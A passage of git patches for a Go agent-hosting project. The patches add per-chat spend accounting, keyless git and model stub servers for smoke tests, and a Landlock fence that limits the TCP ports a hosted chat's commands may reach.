b/internal/factory/serve/model_proxy_test.go index b438be9ac6..f986b928d9 100644 --- a/internal/factory/serve/model_proxy_test.go +++ b/internal/factory/serve/model_proxy_test.go @@ -37,7 +37,7 @@ func forbiddenToUpstream() []string { // A CHAT'S MODEL ACCESS LIVES AND DIES WITH THE CHAT: a minted bearer works, // carrying the right path and query to the upstream and none of the caller's -// identity; ending the chat (stop or delete) ends the bearer; twelve hours end +// identity; ending the chat (stop or delete) ends the bearer; seven days end // it too; and a bearer nobody issued, or a person's own sign-in, is refused // with one sentence that says nothing else. func TestC3_ModelBearerLifecycle(t *testing.T) { @@ -145,12 +145,12 @@ func TestC3_ModelBearerLifecycle(t *testing.T) { } refused("a deleted chat's bearer", rg.bearerCall("GET", "/v1/model/models", doomedToken, nil)) - // Twelve hours end a bearer, to the second. + // Seven days end a bearer, to the second (twelve hours until P1 saved them). aging := rg.create(t, "santosh") agingToken := rg.host.tokenOf(aging) - rg.now = rg.now.Add(12*time.Hour - time.Second) + rg.now = rg.now.Add(7*24*time.Hour - time.Second) if w := rg.bearerCall("GET", "/v1/model/models", agingToken, nil); w.Code != 200 { - t.Fatalf("just inside twelve hours = %d %s", w.Code, w.Body) + t.Fatalf("just inside seven days = %d %s", w.Code, w.Body) } rg.now = rg.now.Add(2 * time.Second) refused("an expired bearer", rg.bearerCall("GET", "/v1/model/models", agingToken, nil)) diff --git a/internal/factory/serve/zz_git_routes_stub.go b/internal/factory/serve/zz_git_routes_stub.go new file mode 100644 index 0000000000..824e0cc85c --- /dev/null +++ b/internal/factory/serve/zz_git_routes_stub.go @@ -0,0 +1,6 @@ +package serve + +// hostedGitRoutes is where chunk C's git routes mount. This empty body exists +// only so chunk A builds on its own: THE LANE OWNER DELETES THIS FILE when the +// real hostedGitRoutes lands. +func (h *Handler) hostedGitRoutes() {} From d2acf3d6e1093b03738c19c2efad0422cafeb54b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:07:58 -0500 Subject: [PATCH 044/176] store, modelapi: a hosted chat's spend can be summed, and a modelapi server can be served in-process ChatSpend sums what one chat has posted to a workstream, counting both the organization's key and the person's own key, so a per-chat cap can be checked against what was really spent. modelapi.Server gains Handler() so the org server can mount one metered funnel per chat without opening a second port. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/store/chat_spend_test.go | 34 ++++++++++++++++++++++ internal/factory/store/workstreams.go | 12 ++++++++ internal/provider/modelapi/handler_test.go | 33 +++++++++++++++++++++ internal/provider/modelapi/server.go | 3 ++ 4 files changed, 82 insertions(+) create mode 100644 internal/factory/store/chat_spend_test.go create mode 100644 internal/provider/modelapi/handler_test.go diff --git a/internal/factory/store/chat_spend_test.go b/internal/factory/store/chat_spend_test.go new file mode 100644 index 0000000000..eb36488bec --- /dev/null +++ b/internal/factory/store/chat_spend_test.go @@ -0,0 +1,34 @@ +package store + +import ( + "math" + "testing" +) + +func TestChatSpend(t *testing.T) { + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + if got, err := st.ChatSpend("ws_a", "hosted:one"); err != nil || got != 0 { + t.Fatalf("fresh chat spend = %g, %v", got, err) + } + for _, row := range []struct { + ws, chat, key string + cost float64 + }{ + {"ws_a", "hosted:one", "first", 0.0123}, + {"ws_a", "hosted:one:own", "second", 0.0246}, + {"ws_a", "hosted:one:own", "second", 0.0246}, + {"ws_a", "hosted:ones", "third", 1}, + {"ws_a", "agent", "fourth", 1}, + {"ws_b", "hosted:one", "first", 2}, + } { + if _, err := st.AddSpend(row.ws, Spend{At: "2026-11-24T12:00:00Z", By: "abir", USD: row.cost, Chat: row.chat, Key: row.key}); err != nil { + t.Fatal(err) + } + } + if got, err := st.ChatSpend("ws_a", "hosted:one"); err != nil || math.Abs(got-0.0369) > 1e-12 { + t.Fatalf("chat spend = %g, %v", got, err) + } +} diff --git a/internal/factory/store/workstreams.go b/internal/factory/store/workstreams.go index 529257c341..37dcbb9045 100644 --- a/internal/factory/store/workstreams.go +++ b/internal/factory/store/workstreams.go @@ -746,6 +746,18 @@ func (st *Store) AddSpend(ws string, s Spend) (float64, error) { return total, err } +// ChatSpend counts both ways of paying for the same hosted chat. +func (st *Store) ChatSpend(ws, chat string) (float64, error) { + db, err := st.wsDB(false) + if err != nil || db == nil { + return 0, err + } + var total float64 + err = db.QueryRow(`SELECT coalesce(sum(usd), 0) FROM spend + WHERE ws = ? AND (chat = ? OR chat = ? || ':own')`, ws, chat, chat).Scan(&total) + return total, err +} + // WorkstreamSpend is what every workstream has spent, by id; one with none // posted is absent. func (st *Store) WorkstreamSpend() (map[string]float64, error) { diff --git a/internal/provider/modelapi/handler_test.go b/internal/provider/modelapi/handler_test.go new file mode 100644 index 0000000000..a5eb7dd5dc --- /dev/null +++ b/internal/provider/modelapi/handler_test.go @@ -0,0 +1,33 @@ +package modelapi_test + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/provider/modelapi" +) + +func TestHandlerServesInProcess(t *testing.T) { + funnel := &script{reply: words("hello", 0.0123)} + server, api := open(t, modelapi.Config{CompleterFor: funnel.completerFor}) + request := httptest.NewRequest(http.MethodPost, modelapi.ChatURL(api.BaseURL), + strings.NewReader(`{"model":"stub/scripted","messages":[{"role":"user","content":"hi"}]}`)) + request.Header.Set("Authorization", "Bearer "+api.Token) + recorder := httptest.NewRecorder() + + server.Handler().ServeHTTP(recorder, request) + + var reply struct { + Usage struct { + TotalTokens int `json:"total_tokens"` + Cost float64 `json:"cost"` + } + } + if err := json.Unmarshal(recorder.Body.Bytes(), &reply); err != nil || + recorder.Code != http.StatusOK || reply.Usage.TotalTokens != 120 || reply.Usage.Cost != 0.0123 { + t.Fatalf("response = %d %s", recorder.Code, recorder.Body) + } +} diff --git a/internal/provider/modelapi/server.go b/internal/provider/modelapi/server.go index b678d70e88..23fee6a756 100644 --- a/internal/provider/modelapi/server.go +++ b/internal/provider/modelapi/server.go @@ -223,6 +223,9 @@ func Open(config Config) (*Server, error) { return s, nil } +// Handler serves the same authenticated routes for an in-process caller. +func (s *Server) Handler() http.Handler { return s.server.Handler } + // API is the address and the token a program is started with // (delegate.ChildEnv). After [Server.Close] the token is empty: a closed API // has nothing to hand out. From 14686caf391c7351854a8ab6362aa2f13da86183 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:08:02 -0500 Subject: [PATCH 045/176] deploy/org: the keyless stack's model stub reports usage and can require a key, and a git stub stands in for GitHub The stub now answers with a fixed token usage and cost per call, can be put in "key required" mode so a run proves which key reached the upstream, and counts its calls. A second stub speaks the git smart-HTTP protocol with a fixed credential, so clone and push through the org server can be proven with no network and no real token. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/gitstub.Dockerfile | 12 +++ deploy/org/gitstub/go.mod | 3 + deploy/org/gitstub/main.go | 146 +++++++++++++++++++++++++++++ deploy/org/gitstub/main_test.go | 86 +++++++++++++++++ deploy/org/modelstub/calls_test.go | 80 ++++++++++++++++ deploy/org/modelstub/main.go | 111 ++++++++++++++++++++-- 6 files changed, 432 insertions(+), 6 deletions(-) create mode 100644 deploy/org/gitstub.Dockerfile create mode 100644 deploy/org/gitstub/go.mod create mode 100644 deploy/org/gitstub/main.go create mode 100644 deploy/org/gitstub/main_test.go create mode 100644 deploy/org/modelstub/calls_test.go diff --git a/deploy/org/gitstub.Dockerfile b/deploy/org/gitstub.Dockerfile new file mode 100644 index 0000000000..a47e12b58e --- /dev/null +++ b/deploy/org/gitstub.Dockerfile @@ -0,0 +1,12 @@ +# syntax=docker/dockerfile:1.10 +FROM golang:1.23-alpine AS build +ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false +WORKDIR /src +COPY gitstub/ ./ +RUN go build -trimpath -ldflags="-s -w" -o /out/gitstub . + +FROM alpine:3.21 +RUN apk add --no-cache git +COPY --from=build /out/gitstub /usr/local/bin/gitstub +EXPOSE 8891 +ENTRYPOINT ["/usr/local/bin/gitstub"] diff --git a/deploy/org/gitstub/go.mod b/deploy/org/gitstub/go.mod new file mode 100644 index 0000000000..ebe5299d3b --- /dev/null +++ b/deploy/org/gitstub/go.mod @@ -0,0 +1,3 @@ +module codeaf-org-gitstub + +go 1.21 diff --git a/deploy/org/gitstub/main.go b/deploy/org/gitstub/main.go new file mode 100644 index 0000000000..5c6f76dc50 --- /dev/null +++ b/deploy/org/gitstub/main.go @@ -0,0 +1,146 @@ +// The smoke test uses this server to exercise git smart HTTP with fake access. +package main + +import ( + "context" + "crypto/subtle" + "encoding/json" + "errors" + "log" + "net/http" + "net/http/cgi" + "os" + "os/exec" + "path/filepath" + "regexp" + "sync" + "time" +) + +type gitCall struct { + At time.Time `json:"at"` + Path string `json:"path"` + Service string `json:"service"` + User string `json:"user"` + PasswordOK bool `json:"password_ok"` + PasswordTail string `json:"password_tail,omitempty"` +} + +type gitStub struct { + git, root, password string + reposMu sync.Mutex + callsMu sync.Mutex + calls []gitCall +} + +var repoPath = regexp.MustCompile(`^/([A-Za-z0-9][A-Za-z0-9._-]{0,99})/([A-Za-z0-9][A-Za-z0-9._-]{0,99}\.git)/(info/refs|git-upload-pack|git-receive-pack)$`) + +func newGitStub(git, root, password string) *gitStub { + return &gitStub{git: git, root: root, password: password} +} + +func main() { + git, err := exec.LookPath("git") + if err != nil { + log.Fatal(err) + } + password := os.Getenv("GITSTUB_TOKEN") + if password == "" { + log.Fatal("GITSTUB_TOKEN is required.") + } + server := &http.Server{ + Addr: ":8891", + Handler: newGitStub(git, "/repos", password), + ReadHeaderTimeout: 5 * time.Second, + } + log.Fatal(server.ListenAndServe()) +} + +func (s *gitStub) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodGet && r.URL.Path == "/_calls" { + s.callsMu.Lock() + snapshot := append([]gitCall{}, s.calls...) + s.callsMu.Unlock() + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(snapshot) + return + } + + parts := repoPath.FindStringSubmatch(r.URL.Path) + service := "" + if parts != nil { + switch { + case parts[3] == "info/refs" && r.Method == http.MethodGet: + service = r.URL.Query().Get("service") + case parts[3] != "info/refs" && r.Method == http.MethodPost: + service = parts[3] + } + } + if service != "git-upload-pack" && service != "git-receive-pack" { + http.NotFound(w, r) + return + } + + user, password, basic := r.BasicAuth() + ok := basic && s.password != "" && subtle.ConstantTimeCompare([]byte(password), []byte(s.password)) == 1 + call := gitCall{At: time.Now().UTC(), Path: r.URL.Path, Service: service, User: user, PasswordOK: ok} + // A short or unrecognized password would be exposed by storing its tail. + if ok && len(password) > 4 { + call.PasswordTail = password[len(password)-4:] + } + s.callsMu.Lock() + s.calls = append(s.calls, call) + s.callsMu.Unlock() + if !ok { + w.Header().Set("WWW-Authenticate", `Basic realm="gitstub"`) + http.Error(w, "Sign in to use git here.", http.StatusUnauthorized) + return + } + if err := s.ensureRepo(r.Context(), parts[1], parts[2]); err != nil { + log.Printf("Could not initialize the git repository: %v", err) + http.Error(w, "The git repository could not be created.", http.StatusInternalServerError) + return + } + + // The backend needs to know the caller was authenticated, so pass its + // username without forwarding the authentication header to the process. + r = r.Clone(r.Context()) + r.Header.Del("Authorization") + (&cgi.Handler{ + Path: s.git, + Args: []string{"http-backend"}, + Env: []string{"GIT_PROJECT_ROOT=" + s.root, "GIT_HTTP_EXPORT_ALL=1", "REMOTE_USER=" + user}, + }).ServeHTTP(w, r) +} + +func (s *gitStub) ensureRepo(ctx context.Context, owner, name string) error { + s.reposMu.Lock() + defer s.reposMu.Unlock() + dir := filepath.Join(s.root, owner) + repo := filepath.Join(dir, name) + if _, err := os.Stat(repo); !errors.Is(err, os.ErrNotExist) { + return err + } + if err := os.MkdirAll(dir, 0755); err != nil { + return err + } + // Publish the repo only after it can accept a push, so the next request + // can retry cleanly if initialization was interrupted. + tmp, err := os.MkdirTemp(dir, ".repo-") + if err != nil { + return err + } + defer os.RemoveAll(tmp) + if err := exec.CommandContext(ctx, s.git, "init", "--quiet", "--bare", "--initial-branch=main", tmp).Run(); err != nil { + return err + } + f, err := os.OpenFile(filepath.Join(tmp, "config"), os.O_WRONLY|os.O_APPEND, 0) + if err != nil { + return err + } + _, err = f.WriteString("[http]\n\treceivepack = true\n") + if err := errors.Join(err, f.Close()); err != nil { + return err + } + return os.Rename(tmp, repo) +} diff --git a/deploy/org/gitstub/main_test.go b/deploy/org/gitstub/main_test.go new file mode 100644 index 0000000000..5f37f4d5b7 --- /dev/null +++ b/deploy/org/gitstub/main_test.go @@ -0,0 +1,86 @@ +package main + +import ( + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +func TestP1_6_StubAcceptsARealPushAndClone(t *testing.T) { + git, err := exec.LookPath("git") + if err != nil { + t.Skip("git is unavailable") + } + t.Setenv("GIT_CONFIG_NOSYSTEM", "1") + t.Setenv("GIT_CONFIG_GLOBAL", os.DevNull) + const password = "sk-test-github-0001" + stub := newGitStub(git, t.TempDir(), password) + server := httptest.NewServer(stub) + defer server.Close() + + workspace := t.TempDir() + run := func(input string, args ...string) { + t.Helper() + cmd := exec.Command(git, args...) + cmd.Dir = workspace + cmd.Stdin = strings.NewReader(input) + cmd.Env = append(os.Environ(), "HOME="+workspace, "GIT_TERMINAL_PROMPT=0") + if output, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, output) + } + } + repo := "/org/sample.git" + wrong := server.URL + repo + "/info/refs?service=git-upload-pack" + resp, err := http.Get(wrong) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != 401 || !strings.HasPrefix(resp.Header.Get("WWW-Authenticate"), "Basic ") { + t.Fatalf("wrong credentials: %d %v", resp.StatusCode, resp.Header) + } + + remote := strings.Replace(server.URL, "http://", "http://x-access-token:"+password+"@", 1) + repo + run("", "init", "-q", "-b", "main", "source") + run("commit refs/heads/main\ncommitter Tester 0 +0000\ndata 4\nseed\n"+ + "M 100644 inline hello\ndata 10\nhello git\n\n", "-C", "source", "fast-import", "--quiet") + run("", "-C", "source", "push", remote, "HEAD:refs/heads/main") + run("", "clone", "-q", remote, "copy") + got, err := os.ReadFile(filepath.Join(workspace, "copy", "hello")) + if err != nil || string(got) != "hello git\n" { + t.Fatalf("clone contents = %q, %v", got, err) + } + + resp, err = http.Get(server.URL + "/_calls") + if err != nil { + t.Fatal(err) + } + raw, err := io.ReadAll(resp.Body) + resp.Body.Close() + var calls []gitCall + if err != nil || resp.StatusCode != 200 || json.Unmarshal(raw, &calls) != nil || strings.Contains(string(raw), password) { + t.Fatalf("invalid call report: %d %s %v", resp.StatusCode, raw, err) + } + seen := map[string]bool{} + for _, call := range calls { + if !call.PasswordOK { + if call.PasswordTail != "" { + t.Fatal("the call report exposed part of an invalid password") + } + continue + } + if call.User != "x-access-token" || call.PasswordTail != "0001" || !strings.HasPrefix(call.Path, repo+"/") || call.At.IsZero() { + t.Errorf("unexpected authenticated call: %#v", call) + } + seen[call.Service] = true + } + if len(calls) < 3 || calls[0].PasswordOK || !seen["git-upload-pack"] || !seen["git-receive-pack"] { + t.Fatalf("missing git calls: %#v", calls) + } +} diff --git a/deploy/org/modelstub/calls_test.go b/deploy/org/modelstub/calls_test.go new file mode 100644 index 0000000000..d0650ff725 --- /dev/null +++ b/deploy/org/modelstub/calls_test.go @@ -0,0 +1,80 @@ +package main + +import ( + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +func TestStubCostAndRequiredKey(t *testing.T) { + const wantKey = "sk-test-org-0001" + oldCost, oldKey := costUSD, requireKey + costUSD, requireKey = 0.0123, wantKey + handler := routes() + t.Cleanup(func() { + costUSD, requireKey = oldCost, oldKey + handler.ServeHTTP(httptest.NewRecorder(), httptest.NewRequest("DELETE", "/_calls", nil)) + }) + request := func(method, path, key, body string) *httptest.ResponseRecorder { + r := httptest.NewRequest(method, path, strings.NewReader(body)) + if key != "" { + r.Header.Set("Authorization", "Bearer "+key) + } + w := httptest.NewRecorder() + handler.ServeHTTP(w, r) + return w + } + body := `{"model":"stub/scripted","messages":[{"role":"user","content":"bash: echo hi"}]}` + path := "/api/v1/chat/completions" + refused := request("POST", path, "sk-test-wrong-0001", body) + if refused.Code != http.StatusUnauthorized || refused.Body.String() != `{"error":{"message":"invalid key","code":401}}` { + t.Fatalf("refusal = %d %s", refused.Code, refused.Body) + } + ok := request("POST", path, wantKey, body) + if ok.Code != http.StatusOK || !strings.Contains(ok.Body.String(), `"prompt_tokens":11,"completion_tokens":7,"total_tokens":18,"cost":0.0123`) { + t.Fatalf("paid answer = %d %s", ok.Code, ok.Body) + } + _, names, _ := toolCallsOf(t, ok.Body.String()) + if len(names) != 1 || names[0] != "bash" { + t.Fatalf("scripted answer used %v", names) + } + var history struct{ Calls []stubCall } + w := request("GET", "/_calls", "", "") + if err := json.Unmarshal(w.Body.Bytes(), &history); err != nil || w.Code != http.StatusOK || len(history.Calls) != 2 { + t.Fatalf("history = %d %s, %v", w.Code, w.Body, err) + } + for i, row := range history.Calls { + if row.At.IsZero() || row.Model != "stub/scripted" { + t.Fatalf("call %d = %+v", i, row) + } + } + failed, passed := history.Calls[0], history.Calls[1] + if failed.Status != 401 || failed.Key != "sk-test-wrong-0001" || failed.USD != 0 || + passed.Status != 200 || passed.Key != wantKey || passed.USD != 0.0123 { + t.Fatalf("history = %+v", history.Calls) + } + if w := request("GET", "/api/v1/models", "", ""); w.Code != http.StatusUnauthorized { + t.Fatalf("unauthorized listing = %d %s", w.Code, w.Body) + } + if w := request("GET", "/api/v1/models", wantKey, ""); w.Code != http.StatusOK { + t.Fatalf("authorized listing = %d %s", w.Code, w.Body) + } + + for i := 0; i <= callLimit; i++ { + request("POST", path, "", fmt.Sprintf(`{"model":"test-%d"}`, i)) + } + w = request("GET", "/_calls", "", "") + if err := json.Unmarshal(w.Body.Bytes(), &history); err != nil || len(history.Calls) != callLimit || + history.Calls[0].Model != "test-1" || history.Calls[callLimit-1].Model != fmt.Sprintf("test-%d", callLimit) { + t.Fatalf("history did not keep the latest %d calls", callLimit) + } + if w := request("DELETE", "/_calls", "", ""); w.Code != http.StatusNoContent { + t.Fatalf("clear = %d %s", w.Code, w.Body) + } + if w := request("GET", "/_calls", "", ""); w.Body.String() != "{\"calls\":[]}\n" { + t.Fatalf("cleared history = %s", w.Body) + } +} diff --git a/deploy/org/modelstub/main.go b/deploy/org/modelstub/main.go index 4d955e4fc6..5dfe57f325 100644 --- a/deploy/org/modelstub/main.go +++ b/deploy/org/modelstub/main.go @@ -1,6 +1,7 @@ // modelstub is a keyless, schema-driven stand-in for an OpenRouter-compatible // model endpoint, so a SWE-AF run can be driven end to end with no key and no -// spend. Every reply is free (cost 0). +// spend by default. An operator can set STUB_COST_USD and STUB_REQUIRE_KEY +// to exercise measured spend and authentication. // // Protocol it speaks (the dialect internal/provider writes): // @@ -33,15 +34,22 @@ import ( "flag" "fmt" "log" + "math" "net/http" "os" "regexp" + "strconv" "strings" + "sync" "sync/atomic" "time" ) -var delay = 4 * time.Second +var ( + delay = 4 * time.Second + costUSD float64 + requireKey string +) func main() { addr := flag.String("addr", "127.0.0.1:18890", "listen address") @@ -51,18 +59,30 @@ func main() { delay = d } } + if cost, err := strconv.ParseFloat(os.Getenv("STUB_COST_USD"), 64); err == nil && cost > 0 && !math.IsInf(cost, 0) { + costUSD = cost + } + requireKey = os.Getenv("STUB_REQUIRE_KEY") + log.Printf("modelstub on %s delay=%s", *addr, delay) + log.Fatal((&http.Server{Addr: *addr, Handler: routes(), ReadHeaderTimeout: 10 * time.Second}).ListenAndServe()) +} + +func routes() http.Handler { mux := http.NewServeMux() mux.HandleFunc("/api/v1/chat/completions", completions) mux.HandleFunc("/api/v1/models", models) + mux.HandleFunc("/_calls", serveCalls) mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { log.Printf("unhandled %s %s", r.Method, r.URL.Path) http.NotFound(w, r) }) - log.Printf("modelstub on %s delay=%s", *addr, delay) - log.Fatal((&http.Server{Addr: *addr, Handler: mux, ReadHeaderTimeout: 10 * time.Second}).ListenAndServe()) + return mux } func models(w http.ResponseWriter, r *http.Request) { + if _, ok := checkStubKey(w, r, ""); !ok { + return + } w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"data":[{"id":"stub/scripted","canonical_slug":"stub/scripted","name":"Scripted stub","context_length":200000,"architecture":{"input_modalities":["text"],"output_modalities":["text"]},"pricing":{"prompt":"0","completion":"0","request":"0","input_cache_read":"0"},"supported_parameters":["tools","tool_choice","max_tokens"]}]}`)) } @@ -90,6 +110,71 @@ func (m message) text() string { var turn atomic.Int64 +const callLimit = 500 + +type stubCall struct { + At time.Time `json:"at"` + Key string `json:"key"` + Model string `json:"model"` + USD float64 `json:"usd"` + Status int `json:"status"` +} + +var calls struct { + sync.Mutex + rows []stubCall +} + +func rememberCall(call stubCall) { + calls.Lock() + defer calls.Unlock() + call.At = time.Now().UTC() + if len(calls.rows) == callLimit { + copy(calls.rows, calls.rows[1:]) + calls.rows = calls.rows[:callLimit-1] + } + calls.rows = append(calls.rows, call) +} + +func checkStubKey(w http.ResponseWriter, r *http.Request, model string) (stubCall, bool) { + auth := r.Header.Get("Authorization") + key, bearer := strings.CutPrefix(auth, "Bearer ") + if !bearer { + key = "" + } + call := stubCall{Key: key, Model: model} + if requireKey == "" || auth == "Bearer "+requireKey { + return call, true + } + call.Status = http.StatusUnauthorized + rememberCall(call) + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(call.Status) + _, _ = w.Write([]byte(`{"error":{"message":"invalid key","code":401}}`)) + return call, false +} + +func serveCalls(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodGet: + calls.Lock() + rows := append([]stubCall{}, calls.rows...) + calls.Unlock() + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(struct { + Calls []stubCall `json:"calls"` + }{Calls: rows}) + case http.MethodDelete: + calls.Lock() + calls.rows = nil + calls.Unlock() + w.WriteHeader(http.StatusNoContent) + default: + w.Header().Set("Allow", "GET, DELETE") + w.WriteHeader(http.StatusMethodNotAllowed) + } +} + var ( reOut = regexp.MustCompile(`create this file: (\S+)`) reSchema = regexp.MustCompile(`Read the JSON Schema at: (\S+)`) @@ -97,12 +182,22 @@ var ( func completions(w http.ResponseWriter, r *http.Request) { var body struct { + Model string `json:"model"` Messages []message `json:"messages"` } - if err := json.NewDecoder(r.Body).Decode(&body); err != nil { + err := json.NewDecoder(r.Body).Decode(&body) + call, ok := checkStubKey(w, r, body.Model) + if !ok { + return + } + if err != nil { + call.Status = http.StatusBadRequest + rememberCall(call) http.Error(w, err.Error(), 400) return } + call.USD, call.Status = costUSD, http.StatusOK + rememberCall(call) n := turn.Add(1) // A person's `bash: ` message is answered by running that command // through the session's own bash tool and quoting what came back, so a @@ -311,6 +406,10 @@ func stream(w http.ResponseWriter, callID, tool, args, text string) { send(chunk(id, fmt.Sprintf(`{"tool_calls":[{"index":0,"id":%q,"type":"function","function":{"name":%q,"arguments":%q}}]}`, callID, tool, args), "")) reason = "tool_calls" } - send(fmt.Sprintf(`{"id":%q,"object":"chat.completion.chunk","created":%d,"model":"stub/scripted","provider":"stub","choices":[{"index":0,"delta":{},"finish_reason":%q}],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2,"cost":0}}`, id, time.Now().Unix(), reason)) + in, out := 1, 1 + if costUSD != 0 { + in, out = 11, 7 + } + send(fmt.Sprintf(`{"id":%q,"object":"chat.completion.chunk","created":%d,"model":"stub/scripted","provider":"stub","choices":[{"index":0,"delta":{},"finish_reason":%q}],"usage":{"prompt_tokens":%d,"completion_tokens":%d,"total_tokens":%d,"cost":%g}}`, id, time.Now().Unix(), reason, in, out, in+out, costUSD)) send("[DONE]") } From ccbc82434cebb95ffb6e020fddc05eb34c6d67ae Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:08:09 -0500 Subject: [PATCH 046/176] executor: a required fence can limit the TCP ports a command may connect to (hosted chats, item 0c) On Linux with Landlock ABI 4 (Linux 6.7) or newer, a fence that is required and names ConnectPorts refuses every other TCP connect with the kernel's own EACCES, and says so in a plain sentence. Landlock filters by port and not by address, so this keeps a chat's commands off services an operator runs on other ports of the same private network; it does not make a service on an allowed port safe. Every fence that is not a hosted chat's keeps the whole network, and the helper's spec is byte-identical when the list is empty. Co-Authored-By: Claude Sonnet 5.5 --- internal/executor/fence.go | 65 ++++++- internal/executor/fence_linux.go | 72 +++++++- internal/executor/fence_ports_linux_test.go | 180 ++++++++++++++++++++ internal/executor/jail_linux.go | 8 +- internal/executor/local.go | 2 +- 5 files changed, 322 insertions(+), 5 deletions(-) create mode 100644 internal/executor/fence_ports_linux_test.go diff --git a/internal/executor/fence.go b/internal/executor/fence.go index df3e6676c0..f4119d1166 100644 --- a/internal/executor/fence.go +++ b/internal/executor/fence.go @@ -9,6 +9,7 @@ import ( "regexp" "runtime" "sort" + "strconv" "strings" "time" ) @@ -112,6 +113,52 @@ type Fence struct { // the old behaviour on purpose, and the field is left out of the helper's // spec when it is false so a spec is byte-identical to what it always was. Require bool `json:"Require,omitempty"` + // ConnectPorts is the TCP ports a command of a REQUIRED fence may connect + // to, on Linux where Landlock (ABI 4, Linux 6.7) can say so: every other + // port is refused by the kernel. Landlock filters by port and not by + // address, so this keeps a chat's commands off the services an operator runs + // on other ports of the same private network (an agent's node API, a model + // stub); it does not make a service on an allowed port safe to reach. Empty + // means no limit, which is what every fence that is not a hosted chat's has + // always had, and the field is left out of the helper's spec when it is + // empty so a spec is byte-identical to what it always was. Only a required + // fence honours it: a laptop's own commands keep the whole network. + ConnectPorts []int `json:"ConnectPorts,omitempty"` +} + +// MaxConnectPorts is the most ports one fence may name: a list longer than a +// person could read is a mistake, and each port is a rule the kernel keeps. +const MaxConnectPorts = 64 + +// ParseConnectPorts reads a port list as an operator writes it: decimal TCP +// ports separated by commas or spaces. It answers them sorted and without +// repeats, an empty list for empty text, and an error that names the entry +// at fault and never anything else. A list is refused whole rather than +// trimmed: a typo that silently dropped a port would turn a working chat's +// git into a refusal, and one that silently added one would widen the fence. +func ParseConnectPorts(text string) ([]int, error) { + var ports []int + seen := map[int]bool{} + for _, word := range strings.FieldsFunc(text, func(r rune) bool { return r == ',' || r == ' ' || r == '\t' || r == '\n' }) { + n, err := strconv.Atoi(word) + if err != nil || n < 1 || n > 65535 || word != strconv.Itoa(n) { + return nil, errors.New(strconv.Quote(word) + " is not a TCP port from 1 to 65535") + } + if !seen[n] { + seen[n] = true + ports = append(ports, n) + } + } + if len(ports) > MaxConnectPorts { + return nil, errors.New("more than " + strconv.Itoa(MaxConnectPorts) + " ports") + } + sort.Ints(ports) + return ports, nil +} + +// limitsPorts is whether this fence holds commands to a list of TCP ports. +func (f *Fence) limitsPorts() bool { + return f != nil && f.Require && len(f.ConnectPorts) > 0 } // FenceAllowWords is how a widening is spelled, in a project file, the @@ -590,6 +637,22 @@ func goProxyThrough(home string) string { // stopped it. It says what happened and why, and where the widening lives. const FenceLine = "codeaf blocked this: a run with nobody at the keyboard may change files only in its checkout and its own temp and cache folders, and may not read keys and sign-ins or use docker; to allow more, add \"jail.allow\" to the repository's .codeaf/config.json." +// FenceConnectLine is the one sentence added to a failed command of a chat +// whose fence limits the ports it may connect to ([Fence.ConnectPorts]) when +// its output reads as a refusal. It stands in for [FenceLine], whose advice +// (a project's jail.allow) belongs to a person's own machine and is no help in +// a chat: it says what a refused command can still do, and nothing about how +// the limit is made. +const FenceConnectLine = "codeaf blocked this: commands in this chat may change files only in the chat's own folder, and may reach other computers only on the ports the organization allows." + +// noteLine is the sentence a refusal under this fence is explained with. +func (f *Fence) noteLine() string { + if f.limitsPorts() { + return FenceConnectLine + } + return FenceLine +} + // FenceRequiredLine is what a command is refused with when the fence is a // requirement ([Fence.Require]) and this computer can apply none of it. It is // written for the person reading a chat, so it names no mechanism: only what @@ -623,7 +686,7 @@ func FenceRefused(output []byte) bool { // WithFenceLine is output with [FenceLine] added once when it reads as a // refusal, and output unchanged otherwise. func WithFenceLine(output string) string { - if !FenceRefused([]byte(output)) || strings.Contains(output, FenceLine) { + if !FenceRefused([]byte(output)) || strings.Contains(output, FenceLine) || strings.Contains(output, FenceConnectLine) { return output } if output != "" && !strings.HasSuffix(output, "\n") { diff --git a/internal/executor/fence_linux.go b/internal/executor/fence_linux.go index d5962bb7dd..721d075f23 100644 --- a/internal/executor/fence_linux.go +++ b/internal/executor/fence_linux.go @@ -22,7 +22,9 @@ import ( "os" "os/exec" "path/filepath" + "strconv" "syscall" + "unsafe" "golang.org/x/sys/unix" ) @@ -92,6 +94,12 @@ func confineFence(cmd *exec.Cmd, f *Fence) error { // another's is no fence at all for the thing it was required for. return ErrFenceRequired } + if _, ok := fenceNet(f, landlockABI()); !ok { + // The same for a required fence told to keep the network to a list of + // ports: a kernel that cannot do it would run the command with the whole + // network, which is the thing the list was written to prevent. + return ErrFenceRequired + } spec, err := writeFenceSpec(f, mode) if err != nil { return err @@ -273,6 +281,48 @@ func fenceScope(f *Fence, abi int) (scoped uint64, ok bool) { return unix.LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET, true } +// netConnectABI is the first Landlock ABI that can limit TCP connects by port +// (Linux 6.7). +const netConnectABI = 4 + +// fenceNet is the Landlock network access a fence handles and whether this +// kernel can give it. ONLY A REQUIRED FENCE WITH A PORT LIST LIMITS: handling +// TCP connect with no rule for a port refuses that port, so a ruleset that +// handled it without a list would cut a chat off the network entirely. A fence +// without a list keeps the ruleset it always had. +func fenceNet(f *Fence, abi int) (handled uint64, 